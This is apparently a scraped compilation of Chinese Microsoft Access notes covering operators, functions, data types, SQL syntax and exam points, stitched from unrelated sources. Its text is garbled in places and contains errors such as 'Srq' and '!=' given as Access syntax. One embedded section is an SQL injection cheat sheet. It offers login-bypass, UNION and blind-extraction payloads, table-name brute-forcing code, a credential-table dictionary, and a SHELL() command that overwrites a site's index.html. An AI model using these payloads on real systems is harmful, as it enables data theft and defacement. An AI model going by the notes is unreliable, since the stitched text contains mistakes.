ACCESS有关符号
ACCESS函数
ACCESS函数.doc程序2006-11-30 15:45:06 阅读185 评论0 字号:大中小订阅“+”、“-”、“*”、“/”这几个符号就代表数学运算中的“加”、“减”、“乘”、“除”四种运算符号。
使用“&”符号可以使两个表达式强制连接在一起,比如:"数据库"&"使用指南" 将返回:"数据库使用指南",也就是将这两个字符串连接在一起,左面的字符串在前面,右面的字符串在后面。
“=”、“>”、“<”、“<>”这四个符号分别表示“等于”、“大于”、“小于”、“不等于”,它们都是用来判断某个条件是否为满足,例如:“=34 ”表示当某个值等于34时才算满足这个条件。
“<>"北京" ”表示当某个值不等于字符串“北京”时才算满足了条件。
“And”、“Or”、“Not”这三个逻辑运算符是用来连接上面的这些条件表达式的。
比如:“>100 And <300 ”就表示只有某个值大于100并且小于300时原能算条件满足;“>100 Or <300”则表示这个值要大于100或者小于300,实际上就是任何数都满足这个条件;“Not >100 ”这个表达式则表示只要这个值不大于100 ,这个条件就算满足了。
还有一个“Like ”,这个符号又怎么用呢?这个符号常常用在对一个字符型的值进行逻辑判断,是否这个值满足某种格式类型。
所以通常“Like”并不单独使用,常常还要跟一些别的符号:“?”表示任何单一字符;“*”表示零个或多个字符;“#”表示任何一个数字;“[字符列表]”表示字符列表中的任何单一字符;“[!字符列表]”表示不在字符列表中的任何单一字符。
我们一起看几个例子,Like "中国?" 则字符串“中国人”、“中国字”都满足这个条件;Like "中国*" 则字符串“中国”、“中国人”、“中国人民银行”这些都满足这个条件;Like "表#" 则字符串“表1”、“表2”都满足这个条件;Like "[北京,上海,广州]" 则只有字符串“北京”、“上海”、“广州”可以满足条件;Like "[!北京,上海,广州]" 则只有字符串“北京”、“上海”、“广州”不能满足条件。
Access中的常用函数
Access中的常用函数1.Count 函数计算查询所返回的记录数语法Count(expr)expr 占位符代表字符串表达式,它标识的字段包含了要统计的数据,或者是使用该字段的数据执行计算的表达式。
expr 中的操作数可包括表字段名或函数名(可以是固有的或者用户自定义的函数,但不能是其他 SQL 聚合函数)。
可以统计包括文本在内的任何类型数据。
说明可以使用Count来统计基本查询的记录数。
例如,可以通过Count来统计已发往特定城市的定单数目。
尽管 expr 能够对字段执行计算,但是Count仅仅计算出记录的数目。
记录中所存储的数值类型与计算无关。
Count函数不统计包含Null字段的记录,除非 expr 是星号 (*) 通配符。
如果使用了星号通配符,Count会计算出包括包含Null字段在内的所有记录的数目。
使用Count(*)方式比使用Count([Column Name])方式快很多。
不要用单引号 (' ') 将星号括起来。
下面的示例计算 Orders 表中的记录数目。
SELECT Count(*)AS TotalOrders FROM Orders;如果 expr 标识多个字段,那么Count函数仅统计至少有一个字段为非Null值的记录。
如果所有指定字段均为Null值,那么该记录不被统计在内。
可以使用 & 号分隔字段名。
下面的示例显示了如何将计算限于那些 ShippedDate 或 Freight 为非Null值的记录:SELECTCount('ShippedDate & Freight')AS [Not Null] FROM Orders;可以在查询表达式中使用Count。
也可以将该表达式用于QueryDef对象的SQL属性中,或者在基于 SQL 查询创建Recordset对象时使用该表达式。
2.Min、Max 函数返回包含在查询的指定字段内的一组值中的最小和最大值。
Access表达式
什么是表达式?Access 中的表达式相当于Excel 中的公式。
一个表达式由多个单独使用或组合使用以生成某个结果的可能元素组成。
元素可能包括标识符(字段名称、控件名称或属性名称)、运算符(如加号(+) 或减号(-))、函数、常量和值。
您可以使用表达式执行计算、检索控件值、提供查询条件、定义规则、创建计算控件和计算字段,以及定义报表的分组级别。
以下是一些表达式示例。
表达式用途=[订购日期]-[发货日期] 计算报表上两个文本框控件中的值之差Date() 将表中字段的默认值设置为当前日期创建查询中的计算字段总价: CCur([订单明细].单价*[数量]*(1-[折扣])/100)*100Between #1/1/2005# And #12/31/2005# 用于输入查询中―日期/时间‖字段的条件=[订单子窗体].Form!订单小计返回―订单‖窗体的―订单‖子窗体上的―订单小计‖控件的值> 0 设置表中数值字段的有效性规则正如以上示例表达式所显示的那样,Access 中的表达式不仅仅是一种计算。
表达式可用于多种不同的用途。
您可能还注意到示例表达式在某些方面是互不相同的。
例如,某些表达式以= 运算符开头。
当计算窗体或报表上某一控件的值时,使用= 运算符作为表达式的开头。
而在其他情况下,则不使用= 运算符。
例如,当您在查询或者字段或控件的―默认值‖或―有效性规则‖属性中输入表达式时,不使用= 运算符。
标识符标识符是字段、属性或控件的名称。
在表达式中使用标识符可引用与字段、属性或控件关联的值。
例如,请看表达式=[订购日期]-[发货日期]。
此表达式将―订购日期‖字段或控件的值减去―发货日期‖字段或控件的值。
在此表达式中,―订购日期‖和―发货日期‖都是标识符。
运算符Access 支持多种运算符,其中包括预期的算术运算符,如+、-、*(乘)和/(除),以及用于比较两个值的比较运算符、用于连接文本的文本运算符、用于确定True 或False 值的逻辑运算符,还包括Access 所特有的其他运算符。
Access-2010数据表知识点
Access-2010数据表知识点Access2010建立和维护数据表知识点任务1 建立数据表一、关于表的基本概念。
表:是数据库中最基本的对象,一切数据只存储于表中。
字段:是指表中的列,一个表最多255个字段。
记录:是指表中的行。
字段名:最大长度不超过64个字符,字段名中不能有点、叹号、中括号(.![]),可以有空格但不能在前面。
主键:又叫主关键字,关于主键应掌握以下几点:①主键值能惟一地标识表中记录。
②一个表只能有一个主键。
③主键可以由一个字段,也可以由多个字段组成。
④主键的值不可重复,也不可为空(NULL)。
⑤Access自动按主键值的顺序显示表中的记录,如果没有定义主键,则按输入记录的顺序显示表中的记录。
⑥建立主键是两个表建立关联的基础。
⑦虽然主键不是必需的,但最好为每个表都设置一个主键。
⑧自动编号型字段可自动创建为主键,创建了主键的字段自动创建为无重复的索引。
外键:又称为外关键字,另一个表的主键在当前表中称为外键。
二、Access 2010的数据类型(12个):①文本:最大长度255个字符,默认255个字符。
用于存储文本和数字。
②数字:在“字段大小”属性中有7个选项:字节、整型、长整型(默认)、小数、单精度、双精度、同步复制ID。
③货币:系统自动显示人民币符号和千位分节逗号。
④备注:长度一般大于255个字符,不超过65535个字符。
⑤日期/时间:用于存储日期或时间。
⑥自动编号:系统自动指定(递增或随机)唯一的顺序号,删除后不能再生成。
⑦是/否:用于保存只有两种状态的数据。
⑧OLE对象:主要用于存放图形、声音、图像等对象,可以采用嵌入和连接两种方式。
⑨超链接:主要用于存放网址。
⑩附件:用于在一个字段中存储多个不同类型的文件,比如可以是Word文档和图片文件。
○11计算:把多个字段值经过运算作为该字段值。
○12查阅向导:提供一个建立字段内容的组合框。
三、创建表的方法:0、Access数据表的视图①输入字段名,②选择字段类型,③选择或输入字段属性,④设置字段关键字,⑤输入表名称并保存表结构,⑥返回到数据表视图输入表中数据。
Access知识点
Access知识点一、数据库系统概述1、数据库(DB)不仅包括描述事物的数据本身,而且还包括相关事物之间的联系。
2、数据模型反映的是事物本身的数据和相关事物之间的联系。
3、数据库管理系统(DBMS)是位于用户与操作系统之间的一层数据管理软件。
4、数据库管理员(DBA)5、数据库系统(DBS)一般由数据库、数据库管理系统及其开发工具、应用系统、数据库管理员和用户构成。
6、数据库技术是信息系统的核心和基础。
7、数据库系统的特点:(1)采用特定的数据结构,以数据库文件组织形式长期保存;(2)实现数据共享,冗余度小;(3)具有较高的独立性;(4)具有统一的数据控制功能8、数据库系统内部采用三级模式(内模式;概念模式;外模式)和二级映射(外模式到概念模式的映射;概念模式到内模式的映射)的抽象结构体系。
二、数据模型1、数据模型的组成:数据结构;数据操作;数据约束2、数据模型的分类:(1)概念数据模型(面向用户;例:E-R模型、面向对象模型);(2)逻辑数据模型(面向数据库系统;例:层次模型、网状模型、关系模型、面向对象模型);(3)物理数据模型(面向计算机)3、E-R模型的基本概念:实体(“一对一;一对多;多对多”;“矩形”);属性(“椭圆形”);联系(“菱形”)4、常用的数据模型:(1)层次模型(树形结构;最早;有且仅有一个根节点无双亲);(2)网状模型(网络结构);(3)关系模型(二维表);(4)面向对象模型三、关系模型1、关系模型中数据的逻辑结构是一张二维表。
关系模型的数据结构单一。
2、关系模型中常用的操作:选择、投影、连接、除、并、交、差、查询、插入、删除、更新等。
3、一个关系就是一张二维表。
4、关系模式是静态的,关系是动态的。
5、码/ 关键字:唯一标识一个元组的属性或属性组。
6、单一的码必为候选码,候选码不唯一。
7、传统的集合运算:并、交、差。
8、专门的关系运算:选择、投影、联接(自然联接;等值联接)。
Access的各种函数归纳总结
Access的各种函数归纳总结1、数组的使用Dim 数组名( [下标下界to ] 下标上界) [As 数据类型]Dim 数组名( [ 下界to ] 上界[ , …] ) [ As 数据类型]说明:As选项缺省时,数组中各元素为变体数据类型。
下标下界的默认值为0,如果设置下标下界为非0值,则要使用to选项。
例子:Dim aa ( 5 ) As SingleDim bb ( 1 to 10 , 2 to 20 ) As StringDim cc ( 2 to 5 , 3 to 7 , 10) As BooleanDim dd ( 3 , 1 to 4 )可以在模块的通用声明部分用Option Base来指定数组的默认下标下界。
Option Base 1 设置数组的下标下界为1Option Base 0 设置数组的下标下界为默认值2、整除对两个操作数做除法运算并返回一个整数。
当操作数是小数时,首先被四舍五入为整型或长整型,然后再进行整除运算。
如果运算结果是小数,系统自动将其截断为整型或长整数,不再进行四舍五入处理。
3、取模对两个操作数做除法运算并返回余数如果操作数有小数时,则系统将其四舍五入为整数后再进行运算。
结果的正负号与被除数相同4、&运算符&两边的操作数可以是字符型、数值型或日期型。
进行连接操作前先将数值型、日期型转换为字符型,然后再做连接运算。
5、+如果两边的操作数都是数字字符串,则做字符串连接运算如果两边的操作数都是数值型,则做普通的加法运算如果一个是数字字符串,另一个为数值型,则系统自动将数字字符串转化为数值,然后进行算术加法运算。
如果一个是非数字字符串,另一个为数值型,则出错6、关系运算符号< > =如果参与比较的两个操作数都是数值型,则按它们的大小进行比较。
如果参与比较的两个操作数都是字符型,则从左到右一一对应比较。
汉字字符按汉语拼音比较大小,且大于西文字符字母不区分大小写,且大于数字汉字字符>西文字符(大小写相同)>数字>空格7、绝对值函数Abs(<数值表达式>)例题:Abs(-25/5)=58、向下取整Int(<数值表达式>)参数为负值时返回小于等于参数值的最大负数。
(完整版)ACCESS基本函数大全【经典免费】,推荐文档
类 函数名
型
函数格式
绝对值
Abs(<数值表达式>)
In数值表达式>)
Round(<数值表达式> [,<表达式>])
平方根
Srq(<数值表达式>)
算
符号
Sgn(<数值表达式>)
术
函
数
随机数
Rnd(<数值表达式>)
正弦函数 余弦函数 正切函数 自然指数 自然对数
Sin(<数值表达式>) Cos(<数值表达式>) Tan(<数值表达式>) Exp(<数值表达式>) Log(<数值表达式>)
生成空格字符 Space(<数值表达式>)
字符重复
String(<数值表达式>,< 字符表达式))
Left(<字符表达式>,<数 值表达式>)
Right(<字符表达式>,< 字符串截取 数值表达式>)
说明
返回数值表达式的绝对值 返回数值表达式的整数部分值,参考为负值时 返回大于等于参数值的第一个负数 返回数值表达式的整数部分值,参考为负值时 返回小于等于参数值的第一个负数 按照指定的小数位数进行四舍五入运算的结果。 [<表达式>]是进行四舍五入运算小数点右边保留 的位数 返回数值表达式的平方根值 返回数值表达式值的符号值。当数值表达式值 大于 0,返回值为 1;当数值表达式值等于 0,返 回值为 0;当数值表达式值小于 0,返回值为-1 产生一个 0 到 9 之间的随机数,为单精度类型。 如果数值表达式值小于 0,每次产生相同的随机 数;如果数值表达式值大于 0,每次产生新的随 机数;如果数值表达式等于 0,产生最近生成的 随机数,且生成的随机数序列相同;如果省略 数值表达式参数,则默认参数值大于 0 返回数值表达式的正弦值 返回数值表达式的余弦值 返回数值表达式的正切值 计算 e 的 N 次方,返回一个双精度 计算以 e 为底的数值表达式的值的对数 返回由数值表达式的值确定的空格个数组成的 空字符串 返回一个由字符表达式的第 1 个字符重复组成 的指定长度为数值表达式值的字符串 返回一个值,该值是从字符表达式左侧第 1 个 字符开始,截取的若干字符。其中,字符个数 是数值表达式的值。当字符表达式是 null 时, 返回 null 值;当数值表达式值为 0 时,返回一 个空串;当数值表达式值大于或等于字符表达 式的字符个数时,返回字符表达式 返回一个值,该值是从字符表达式右侧第 1 个 字符开始,截取的若干个字符。其中,字符个 数是数值表达式的值。当字符表达式是 Null 时, 返回 Null 值;当数值表达式值为 0 时,返回一 个空串;当数值表达式大于或等于字符表达式
access基本知识
OLE对象类型用于存储链接或嵌入的对象,这些对象以文件形式存在,其类型可以是Word文档、Excel电子表格、图像、声音或其他二进制数据。
超链接字段以文本形式保存超链接的地址,用来链接到文件、Web页、电子邮件地址、本数据库对象、书签或该地址所指向的Excel单元格范围。
附件类型用于存储所有种类的文档和二进制文件,可将其他程序中的数据添加到该类型字段中,可将Word文档添加到该字段中,或将一系数码图片保存到数据库中,但不能键入或以其他方式输入文本或数字数据。
Access里通配符用法:"[]":用于匹配方括号内任何单个字符。
"*":通配任何个数的字符,它可以在字符串中当做第一个或最后一个字符使用。
"?":通配任何单个字母的字符。
"!":通配任何不在括号之内的字符。
"-":通配范围内的任何一个字符,必须以递增排序来指定区域(A到Z)。
"#":通配任何单个数字字符。
在打开窗体时,将按如下顺序发生相应的事件:Open→Load→Resize→Activate→Current当关闭窗体时,将按如下顺序发生相应的事件: Unload→Deactivate→Close"制表位"属性:如果某个控件要Tab键忽略跳过,可以把其制表位属性设为否。
"Tab键索引"属性:作用是响应键盘操作Tab键或Enter键时的焦点转移顺序。
"自动Tab键"属性:用以指定当输入文本框控件的输入掩码所允许的最后一个字符时,是否发生自动tab键切换。
自动tab键切换会按窗体的tab键顺序将焦点移动到下一个控件。
"Enter键行为"属性:规定了在文本框中按下Enter键后产生的操作,有"默认值"和"字段中新行"两种选项。
ACCESS数据库知识点总结
1.1数据库基础知识1、数据库有关的概念:a、数据:是指描述事物的符号记录。
.b、数据库:是存储在计算机存储设备中的、结构化的相关数据的集合.注意两点:其一是数据库不仅包括描述事物的数据本身,而且包括相关事物之间的关系。
其二是数据库中的数据具有集成与共享的特点即数据库集中了各种应用的数据,进行统一的构造与存储,而使它们可被不同应用程序所使用简称为DB(Database)。
c、数据库管理系统:是指位于用户与操作系统之间的、方便用户管理与组织数据库的一种数据库管理软件。
简称为DBMS(Database Management System)d、数据库应用系统:是指在数据库系统资源的基础上、针对某一类应用而开发出来的应用软件。
如大家都熟悉的教务管理系统。
e、数据库系统:由数据库、数据库管理系统、数据库管理员、硬件平台和软件平台5个部分所组成。
简称为DBS(Database System)。
注意:数据库系统的核心是数据库管理系统。
2、数据库系统的特点:a、实现数据共享,减少数据冗余。
这是数据库的基本特征。
b、采用特定的数据模型。
c、具有较高的数据独立性。
d、有统一的数据控制功能。
3、数据模型:数据库应用系统就是将现实世界映射到计算机中的结果。
为了简化这个映射过程,引入了数据模型是从现实世界到计算机世界的一个中间层次,其不仅能方便地描述数据本身,而且能正确地反映出数据之间存在的整体逻辑关系。
所有的数据库系统都是基于某一种数据模型的。
传统的数据模型有层次模型、网状模型和关系模型三种。
其中的层次模型是用树形结构来表示数据以及数据之间的关系;网状模型是用无向图来表示数据以及数之间的关系;而关系模型是用二维表格来表示数据以及数据之间的关系。
关系模型与层次模型、网状模型的本质区别在于数据描述的一致性、模型概念的单一性。
4、实体间联系及种类:在数据模型中,将现实世界客观存在的事物称实体。
通常需要描述出现实世界中存在的实体、实体的属性及实体之间的关系。
Access语法大全
Access语法大全来源: 点击数:880 评论数:2评论 | 收藏 | 复制like查询用*SELECT *FROM flashWHERE filename like '*http*';DELETE *FROM company_guangxiWHERE 机构名称not like '*公司*' and 机构名称not like '*工厂*';删除查询DELETE * FROM 订单WHERE 订单.下单日期<=#1/1/2002#更新查询UPDATE 产品SET 产品.建议售价= [建议售价]*1.2 WHERE 产品.厂牌="MOTOR OLA"access sql语句查询查询时生成序号SELECT (SELECT Count([xlh].[aa]) AS AutoNum FROM xlh WHERE (((xlh.aa) <=xlh_Alias.aa));) AS 序号, xlh.aaFROM xlh AS xlh_Alias INNER JOIN xlh ON xlh_Alias.aa=xlh.aaORDER BY xlh.aa;多表sql查询SELECT test.aa AS 第一个字段, test1.bb AS 第二个字段, FROM test, test1WHERE test.aa=test1.aa;多表sql查询1SELECT a.aa, b.bb, , *100 AS 合计FROM test AS a, test1 AS bWHERE a.aa=b.aa;多表sql查询排序SELECT a.aa, b.bb, AS 第三个字段FROM test AS a, test1 AS bWHERE a.aa=b.aaORDER BY ;查询例子SELECT a.dhhmFROM xl11a AS a, xl919 AS bWHERE a.dhhm=b.dhhm and aa <>"1";日期时间分隔符是#而不是引号Select * From Tab1 Where [Date]>#2002-1-1#;函数及计算合计的群组,运算式及条件SELECT 订单.客户编号, Sum(订单.含税价) AS 含税价之总计, Last(订单.订单日期) AS 订单日期之最后一笔, Date()-[订单日期之最后一笔] AS 距今天数FROM 订单W HERE (订单.订单日期>=#12/1/2006#) GROUP BY 订单.客户编号11-2 查询指令群组条件多个计算栏位多资料表查询指令INNER JOIN-最基本的JOIN方式SELECT 客户.公司名称, 订单.订单编号, 订单.订单日期FROM 客户INNER JOIN 订单ON 客户.客户编号= 订单.客户编号11-2 查询指令多资料表查询指令LEFT及RIGHT JOINSELECT 客户.公司名称, 客户.连络人姓名, 订单.客户编号FROM 客户LEFT JOIN 订单ON 客户.客户编号= 订单.客户编号WHERE (订单.客户编号Is Null)11-2 查询指令四种动作查询指令制成资料表SELECT 客户.客户编号, 客户.公司名称, 订单.下单日期, 订单.含税价INTO 客户及订单FROM 客户INNER JOIN 订单ON 客户.客户编号= 订单.客户编号新增查询INSERT INTO 客户及订单( 客户编号, 公司名称, 下单日期, 含税价) SELECT 客户.客户编号, 客户.公司名称, 订单.下单日期, 订单.含税价FROM 客户INNER JOIN 订单ON 客户.客户编号= 订单.客户编号11-3 动作查询指令四种动作查询指令下边列出sql server与access的语法差别,方便大家在更换程序数据库时查询。
(完整版)Access中特殊符号快捷键
(完整版)Access中特殊符号快捷键Access中特殊符号快捷键
Access是一款常用的数据库管理系统,使用快捷键可以提高数据录入和查询的效率。
本文将介绍一些在Access中使用的特殊符号及其对应的快捷键。
1. 逻辑符号
- 等于:=
- 大于:>
- 小于:<
- 大于等于:>=
- 小于等于:<=
- 不等于:<> 或 !=
- 包含:Like
在查询时,可以使用以上符号表示相应的逻辑关系。
比如,要查询"销售额大于1000的订单",可以使用以下表达式:
销售额 > 1000
2. 数学符号
Access中也支持使用一些数学符号进行计算和查询。
- 加法:+
- 减法:-
- 乘法:*
- 除法:/
比如,要计算"销售额乘以数量",可以使用以下表达式:
销售额 * 数量
3. 特殊符号
Access中还支持一些特殊符号的使用,它们在数据录入和查询中也很常见。
- 百分号:%:用于模糊查询,表示任意字符。
- 下划线:_:用于分隔单词或词组,在查询时可以替代空格。
- 双引号:":用于表示字符串,特别是包含特殊字符的字符串。
比如,要查询"姓氏以'Smith'开头的客户",可以使用以下表达式:
姓氏 Like 'Smith*'
以上是在Access中常用的一些特殊符号和对应的快捷键。
掌
握它们可以更高效地使用Access进行数据管理和查询。
希望本文
对你有所帮助!。
access表关系
什么是表关系在关系数据库中,通过关系您可以防止出现重复数据。
例如,如果您在设计一个跟踪书籍相关信息的数据库,您可能有一个名为“书籍”的表,该表存储每种书籍的相关信息,例如书名、出版日期和出版商。
您可能还想存储有关出版商的信息,例如出版商的电话号码、地址及邮政编码。
如果将所有这些信息都存储在“书籍”表中,对于出版商出版的每种书籍,该出版商的电话号码将是重复的。
更好的解决方案是,只需将出版商信息在单独的表“出版商”中存储一次。
然后在“书籍”表中放置一个指针,该指针引用“出版商”表中的一项。
为了确保数据保持同步,可以在“书籍”和“出版商”表之间强制执行引用完整性。
引用完整性关系有助于确保一个表中的信息与另一个表中的信息相匹配。
例如,“书籍”表中的每种书籍必须与“出版商”表内的某个特定出版商关联。
对于数据库中不存在的出版商,无法向数据库中添加相应书籍。
回到顶端表关系的类型关系是通过匹配键列(通常是两个表中的同名列)中的数据来工作。
大多数情况下,关系将一个表中的主键(为每一行提供唯一标识符)与另一个表内外键中的项匹配。
例如,通过在“书籍”表中的ti tle_id 列(主键)和“销售额”表中的 title_id 列(外键)之间创建关系,可以将销售额与所售的特定书籍相关联。
表之间有三种类型的关系。
所创建关系的类型取决于相关列的定义方式。
一对多关系一对多关系是最常见的关系类型。
在此类型的关系中,表A 中的一行在表B 中可以有多个匹配行,但表 B 中的一行在表A 中只能有一个匹配行。
例如,“出版商”表和“书籍”表具有一对多关系:每家出版商可以出版多种书籍,而每种书籍只能来自一家出版商。
如果只有其中一个相关列是主键或者具有唯一约束,则会创建一对多关系。
在Access 中,一对多关系的主键侧由键符号表示。
关系的外键侧由无穷符号表示。
多对多关系在多对多关系中,表A 中的一行在表 B 中可以有多个匹配行,反之亦然。
通过定义称为联接表的第三个表可以创建这种关系,联接表的主键由表A 和表B 中的外键组成。
Access SQL注入参考
Access SQL注入参考描述SQL查询及注释注释符Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:' UNION SELECT 1,1,1 FROM validTableName%00语法错误信息"[Microsoft][Driver ODBC Microsoft Access]"多句执行不支持.联合查询Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.附属查询Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :' AND (SELECT TOP 1 'someData' FROM validTableName)%00LIMIT支持LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:' UNION SELECT TOP 3 AttrName FROM validTableName%00 : 这条语句返回(前)3 行.让查询返回0行在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用: ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00字符串连接不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : 返回"webapp"' UNION SELECT 'web' %26 'app' FROM validTableName%00 : 返回"webapp"子字符串MID()函数:' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : 返回"a"' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : 返回"b"字符串长度LEN()函数:' UNION SELECT LEN('1234') FROM validTableName%00 : 返回4暴WEB路径可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00取字符的ASCII值ASC()函数:' UNION SELECT ASC('A') FROM ValidTable%00 :返回65 ('A'的ASCII值)ASCII值转换为字符CHR()函数:' UNION SELECT CHR(65) FROM validTableName%00 : 返回'A'IF语句可以使用IIF()函数. 语法: IIF(condition, true, false) :' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : 返回'a'时间接口不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考.验证文件是否存在在注入的时候使用:' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized.表名猜解这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:static private String columnErrorMessage = "...";static private String accessError = "...";[...]public String bruteTableName(Request r) { // 0String resp = new String();String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1for(inti = 0; i<table.length; i++) {resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3return table[i];}return null;}bruteTableName()的参数是一个名为"Request"的对象(见注释0).这个例子靠sendInjection() (见注释2)尝试检测查询:' UNION SELECT 1 FROM table[i]%00table[i]是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, sendInjection()函数返回提交注入代码后的回应html代码.如果resp包含columnErrorMessage字符串(见注释3),恭喜你,你找到了一个存在的表. columnErrorMessage 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误.列名猜解需要一个已知的表名和主查询的列的数目:' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.绕过登陆用户名: ' OR 1=1%00 (or " OR 1=1%00)密码: (留空)列名枚举按语: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过,但是不敢保证在其他的环境下同样可用.通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如:Error (...) syntax (...) query (...) : " Id=0' "从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:' GROUP BY Id%00现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名:' GROUP BY Id, SecondAttrName, ...%00直到获取到所有的表名.与操作系统的交互这些函数默认不可用安全提示可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.获取当前目录需要一个已知的表名和主查询的列的数目:' UNION SELECT CurDir(),1,1 FROM validTableName%00执行系统命令SHELL()函数可以用来执行系统命令:' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00Access的系统表这些系统表默认不可访问MSysAccessXML表中包含的列:LValueObjectGuidObjectNamePropertyValueMSysACEs表中包含的列:ACMFInheritableObjectIdSIDMSysObjects这里可以获得表名:ConnectDatabaseDataCreateDataUpdateFlagsForeignNameIdLvLxExtraLvModuleLvPropNameOwnerParentIdRmtInfoLongRmtInfoShortType这条查询可以用来获得数据库中的表名:' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00Access盲注(这些步骤用来猜解表的内容)第一步:猜解表名你可以使用下面提供的字典来猜解表名.注入查询语句:' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为"AND 1"对查询没有任何影响).第二步: 猜解列名在指导表名的情况下,使用如下查询:' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00用和第一步同样的方法判断列是否存在.第三步:猜解内容的行数在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)%00这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值.第四步:猜解内容的长度你能通过以下语句获取"ATTRIB"列的第一行的内容长度:' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00可以通过以下语句猜解到"ATTRIB"列中第二行到第TAB_LEN行的内容的长度(这里N的值在2和TAB_LEN(在前面已经获得)之间) :' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:A1 A2 A31111 2222 33330000 4444 ooooaaaabbbbcccc可以这样获取第一行的所有内容的长度:' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00然后就可以这样获取第二行的内容的长度(假设A1为表的主键) :' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHEREA1 <>'1111') = KKK, 1, 0)%00' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHEREA1 <> '1111') = KKK, 1, 0)%00' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHEREA1 <> '1111') = KKK, 1, 0)%00第三行也一样:' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHEREA1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)%00' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHEREA1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHEREA1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后).第五步:猜解内容假设攻击者已经知道了表和列名,他将使用这样的查询:' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key<>'value1' AND ATT_key<>'value2'... etc ... ) = CHAR(YYY), 1, 0)%00"N"是要猜解的行, "XXX"是"ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.表名/列名(字典)表名/列名(字典) 这里是一个小的表/列名样本字典,在猜解中也许用的到:account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;customers, customer, config, conf, cfg;hash;login, logout, loginout, log;member, memberid;password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;store, store1, store2, store3, store4, setting;username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;详细出处参考:/article/14600.htm。
2023年计算机二级Access考前冲刺必看知识点
1、算法:是对一个问题求解环节的一种描述,具有以下5个重要特性:有穷性,拟定性,可行性,输入(有零个或者多个输入),输出(有一个或者多个输出)。
算法的有穷性是指算法必须在有限的时间内做完,即算法必须在有限个环节之后执行终止。
2、在算法对的的前提下,评价一个算法的两个标准是即——算法复杂度涉及时间复杂度和空间复杂度。
其中时间复杂度是指执行算法所需要的计算工作量。
空间复杂度是算法所需空间的度量。
